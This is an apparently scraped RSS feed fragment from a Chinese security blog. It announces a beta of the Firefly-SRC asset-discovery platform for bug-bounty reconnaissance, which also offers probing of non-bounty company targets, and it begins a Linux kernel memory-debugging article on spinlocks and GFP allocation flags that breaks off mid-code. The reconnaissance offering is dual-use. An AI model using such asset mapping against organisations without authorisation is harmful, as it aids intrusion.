title="https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&amp;mid=2247488568&amp;idx=1&amp;sn=34cdb63e1dc0125df6206257efd5eeff&amp;scene=21#wechat_redirect" style="line-height: 1.75;" data-linktype="2"><a href="https://mp.weixin.qq.com/s/ofP4j2TEfNoCYqrLhMsvZA" target="_blank">https://mp.weixin.qq.com/s/ofP4j2TEfNoCYqrLhMsvZA</a></a></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. <a href="https://xz.aliyun.com/t/11147?time__1311=Cq0x2Dg7GQKWqGNDQiuAxAx7weQw9gELbD" target="_blank">https://xz.aliyun.com/t/11147?time__1311=Cq0x2Dg7GQKWqGNDQiuAxAx7weQw9gELbD</a></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>3. <a href="https://github.com/wh1t3p1g/tabby-path-finder/" target="_blank">https://github.com/wh1t3p1g/tabby-path-finder/</a></p></li></ol><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486059">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6d73d22a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247486059%26idx%3D1%26sn%3D5c712dec829c9bcb9f21e215e2ac0858%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 22 Jul 2024 12:10:00 +0800</pubDate>
    </item>
    <item>
      <title>Firefly-SRC资产探测平台新版测试</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247486045&amp;idx=1&amp;sn=4bb6e0bd1018da76af746fbb64755321</link>
      <description>先回复下师傅们的问题，虽然前端没什么变化，但平台一直在更新，由于精力问题，日常主要是更新及优化后端的任务调度</description>
      <content:encoded><![CDATA[<p>
<span>Young</span> <span>2024-05-24 10:54</span> <span style="display: inline-block;">北京</span>
</p>

<p>先回复下师傅们的问题，虽然前端没什么变化，但平台一直在更新，由于精力问题，日常主要是更新及优化后端的任务调度</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a20b6e93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0z2k3m16wCNKhcORwBFia9px7nqzXuU098aR3d0mUS9WrGSVNObW4xGNMqIXsQibic6Kia7abTekynrsjjcC4qSlfQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;word-break: break-word;text-align: left;line-height: 1.25;font-family: Optima-Regular, Optima, PingFangTC-Light, PingFangSC-light, PingFangTC-light;letter-spacing: 2px;background-size: 20px 20px;background-position: center center;margin-bottom: 24px;"><br/><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;"><img class="rich_pages wxw-img" data-imgfileid="100000786" data-ratio="0.4787037037037037" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9f90fe81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0z2k3m16wCNeoEWtPaH5iasHtQKaTCZiaibRkF6HysMXloO7FNwLJVrYsO87BQqOghUK4WumUfWibmKOOwtYFYCyeg%2F640%3Fwx_fmt%3Dother%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">先回复下师傅们的问题，虽然前端没什么变化，但平台一直在更新，由于精力问题，日常主要是更新及优化后端的任务调度及各个节点的功能。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">之后为了解决师傅们反馈的问题及原平台的一些缺陷，整体架构又花了很长一段时间重新调整，导致新旧数据不再互通，现新版各项功能基本完成，先给出新版的地址给各位师傅体验，旧版正常使用，等后续新版稳定后将停止旧版的维护，只保留新版平台。</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-size: 18px;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(145, 109, 213);">新版地址</span></h2><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/qGusKyb0IEcbicUmxdUm5EOjicJh2sRIrynND5TrYbIFISCW9SkyNB9C7HmPX9ib9pibObMgpuZBvBPpBI3P9QSdJnwdeBkOAVicia/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(30, 30, 30);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><a href="https://firefly-src.geekyoung.com/" target="_blank">https://firefly-src.geekyoung.com/</a><br/></code></pre><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-size: 18px;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(145, 109, 213);">主要更新</span></h2><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">新平台主要以公司主体进行收集，资产归属将更加明确。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">开放搜索和添加公司，师傅们可以标记其SRC归属。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">开放支持非SRC目标收集，平台空闲时间可进行探测。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">小程序，APP等资产可以稳定更新。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;">提供更多的资产收集及搜索维度， 后续会开放推送功能等。</section></li></ol><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-size: 18px;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(145, 109, 213);">简单说明</span></h2><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;font-size: 15px;list-style-type: circle;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">测试版目前依旧使用原平台的认证方式，首页各功能暂不可用。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">师傅们可正常体验新版的其他功能，新版正式使用后会把旧版用户数据同步过来。</p></section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);font-size: 14px;"><p style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 10px;margin-bottom: 10px;word-spacing: 2px;">新版的接口等会有部分调整，界面功能基本保持原有风格，详细文档等正式使用后再更新。</p></section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">本次主要简单展示下师傅们如何添加平台未收录的公司：</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">功能入口：实验功能--企业查询</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">输入企业关键字可以查询相关企业信息，对于属于该src但是未被收录的企业，师傅们可以自行添加及标记，在后台通过后平台会自动化收集其相关资产。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000783" data-ratio="0.49444444444444446" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=09ef4d80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCNKhcORwBFia9px7nqzXuU09PW4E5S6OmrcTnPxLfteFRa1tQpasuiajSMhYfoUrNAk22LTLTMK656A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><span style="color: rgb(136, 136, 136);font-size: 13px;"></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">点击添加后选择对应的src，下拉框src较多，支持搜索src名称。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">添加时请师傅们正确选择对应的src，后台审核过后才会开始收集。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000784" data-ratio="0.49722222222222223" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6b40c63c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCNKhcORwBFia9px7nqzXuU09AFR98l0EtU8o6Y1oFXCk03eT8UsnuQ8Z2xcuCYYuevwiaxBTo8UmUDA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">不少师傅对非赏金目标也有兴趣，所以平台现也可提供非赏金目标的收集。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">师傅们如果有这方面需求，可以将目标SRC标记为<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">公益</code>，通过审核后平台会在<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(145, 109, 213);font-weight: bolder;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;">空闲时间</code>进行公益类的探测。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000785" data-ratio="0.49907407407407406" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=53d96423&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0z2k3m16wCNKhcORwBFia9px7nqzXuU09k1NJYByF6Zgcof4A3gLuCOGD1AQCsQIrnEvILVlnC8X8UibKwI1gTcQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><span style="color: rgb(136, 136, 136);font-size: 13px;"></span></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">如果有需要实时的周期监控的可另外私聊。</p><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-size: 18px;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(145, 109, 213);">附原平台使用方式</span></h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzU5MTE4Mzk0NQ==&amp;mid=2247484408&amp;idx=2&amp;sn=7019b6d6575fb1d5fad3029b8e68c18e&amp;chksm=fe33aadec94423c8adca327a884580787832713db072b708e905348fd8251c8222ba2f8ac273&amp;scene=21#wechat_redirect" textvalue="Firefly-SRC使用手册" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">Firefly-SRC使用手册</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;margin-top: 10px;margin-bottom: 10px;font-size: 14px;word-spacing: 2px;">如有问题可以通过公众号菜单添加微信反馈</p></section><p style="display: none;margin-bottom: 24px;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486045">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c39f74b6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247486045%26idx%3D1%26sn%3D4bb6e0bd1018da76af746fbb64755321%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 24 May 2024 10:54:00 +0800</pubDate>
    </item>
    <item>
      <title>Linux kernel memory Debug之初识内核对象的创建和释放</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247486043&amp;idx=1&amp;sn=d57dca2e13c34d2b7c98e0d431602d35</link>
      <description>内核对象分配释放机制和调试方法的研究</description>
      <content:encoded><![CDATA[<p>
原创 <span>时钟</span> <span>2024-04-19 10:07</span> <span style="display: inline-block;">北京</span>
</p>

<p>内核对象分配释放机制和调试方法的研究</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5884307d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkYqLlFTcD9pcrpiazeUJVr58oTIvezeEaWaIbKZ3rKUcvtolaX6qZ2taXkoibiadOZibzOn0FA9Ziawdcg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.96px;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(250, 81, 81);color: rgb(63, 63, 63);">Linux kernel memory Debug（一）初识内核对象的创建和释放</h1><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">最近因为一些事情研究复现了几个Linux kernel的洞，感觉自己对内核的对象分配这块的了解并不深入，于是打算出一个系列对于内核对象分配释放机制和调试方法等进行研究，基本属于跟着大佬们学习，多多指教。</p></blockquote><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(250, 81, 81);color: rgb(255, 255, 255);">前置知识</h2><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(250, 81, 81);color: rgb(63, 63, 63);">自旋锁- spin locks</h3><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">static</span> <span style="color: rgb(97, 174, 238);">DEFINE_SPINLOCK</span>(xxx_lock);<br/>      <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> flags;<br/>      spin_lock_irqsave(&amp;xxx_lock, flags);<br/>      ... critical section here ..<br/>      spin_unlock_irqrestore(&amp;xxx_lock, flags);</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在内核中，上面的代码片段使用了最基本的自旋锁，它会禁用本地中断，而且它是全局锁，因此会保证被锁保护的区域只存在一个线程。自旋锁在无论在单核CPU或者多核CPU下都可以很好的工作。除了上述类型的使用方式，内核中还存在对于共享内存等的读写自旋锁，它允许多个内存读操作同时进行，但是如果是写操作那么就必须进行内存锁定。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">rwlock_t</span> xxx_lock = __RW_LOCK_UNLOCKED(xxx_lock);<br/>     <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> flags;<br/>     read_lock_irqsave(&amp;xxx_lock, flags);<br/>     .. critical section that only reads the info ...<br/>     read_unlock_irqrestore(&amp;xxx_lock, flags);<br/>     write_lock_irqsave(&amp;xxx_lock, flags);<br/>     .. read and write exclusive access to the info ...<br/>     write_unlock_irqrestore(&amp;xxx_lock, flags);</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于一些复杂数据结构链表的访问就可能用到上述操作。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  虽然自旋锁非常安全，但是因为它需要关闭中断操作因此它的性能开销是非常巨大的，不过也存在更轻量化版本的spin lock：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">spin_lock(&amp;lock);<br/>...<br/>spin_unlock(&amp;lock);</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这种类型的spin lock同样保证对于保护区域的单独访问，不过这种一般用于没用中断操作调用的情况，比如被保护区域只被进程上下文操作，一旦出现下面的情况：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">spin_lock(&amp;lock);<br/>...<br/>        &lt;- interrupt comes in:<br/>                spin_lock(&amp;lock);</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">就会造成死锁，这种情况下一个中断处理程序想要访问一个被保护的数据区域就会造成死锁。如果是多个CPU，中断发生在另一个CPU，这样是可以的。这种情况不能发生在相同的CPU上，因为数据已经被锁定。CPU运行的程序为中断处理程序，因此数据无法被访问，锁也无法被释放。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15.4px;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(250, 81, 81);color: rgb(255, 255, 255);">内核堆分配策略</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Linux 提供了多种用于内存分配的 API。你可以使用 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kmalloc</code> 或 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">kmem_cache_alloc</code> 等系列函数分配小块内存，使用 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">vmalloc</code> 及其衍生函数分配大的虚拟连续内存区域，或者直接从页面分配器请求页面使用 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">alloc_pages</code>。还可以使用更专门的分配器，例如 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">cma_alloc</code> 或 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">zs_malloc</code>。同时Linux kernel提供GFP标志符来控制内核堆分配行为，如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(230, 192, 123);">kzalloc</span>(&lt;size&gt;, GFP_KERNEL);</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">下面简单列举内核中GFP标识的使用，这有助于理解Linux kenrel堆的使用策略。</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• GFP_KERNEL，这个是最常用的，许多内核数据和内核相关结构体所需的内存都需要用这个标识。但是该标识也依赖GFP_RECLAIM标识，因此在内存压力下可能触发内存回收，所以调用上下文必须允许休眠，这样内核在面临内存压力的时候可以进行内存回收，让相关调用进入休眠状态，从而更有效的控制内存使用。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• GFP_NOWAIT，该标识需要在内核的原子性上下文中使用，该标识可以防止内存回收以及I/O和文件系统的影响，但是在内存压力下可能会分配失败。此时可以使用GFP_NOWARN来进行合理的错误处理。下面是一个例子：</p></li></ul><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(97, 174, 238);">#<span style="color: rgb(198, 120, 221);">include</span> <span style="color: rgb(152, 195, 121);">&lt;linux/slab.h&gt;</span></span><br/><span style="color: rgb(209, 154, 102);">void</span>* <span style="color: rgb(97, 174, 238);">my_custom_allocation</span>(<span style="color: rgb(209, 154, 102);">size_t</span> size) {<br/>    <span style="color: rgb(209, 154, 102);">void</span>* ptr = kmalloc(size, GFP_KERNEL | GFP_NOWARN);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (!ptr)<br/>        pr_info(<span style="color: rgb(152, 195, 121);">&#34;Memory allocation failed, but no warning is 